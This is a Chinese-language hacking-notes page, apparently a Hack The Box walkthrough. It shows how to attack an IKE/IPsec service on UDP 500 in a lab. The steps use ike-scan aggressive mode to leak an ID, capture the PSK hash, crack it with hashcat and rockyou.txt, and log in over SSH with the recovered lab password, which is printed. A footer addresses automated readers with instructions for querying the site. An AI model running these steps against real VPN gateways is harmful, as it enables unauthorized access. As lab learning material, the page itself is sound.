# IKE/IPsec - 500

### IKE/IPsec VPN 利用

UDP 500 端口表明这是一个 IKE 密钥交换服务。尝试使用激进模式捕获预共享密钥（PSK）。

#### 识别 ID

使用 `ike-scan` 以检查是否启用了激进模式：

```bash
sudo ike-scan -A 10.129.238.52
```

* 结果：握手成功。检测到的 ID： `ike@expressway.htb`.

#### 捕获并破解 PSK 哈希

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

提取哈希并尝试使用 `rockyou.txt` 字典进行暴力破解。

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* 获取到的凭据： `ike` : `freakingrockstarontheroad`

#### 初始访问

使用找到的凭据通过 SSH 连接：

```bash
ssh ike@10.129.238.52
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/ike-ipsec-500.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
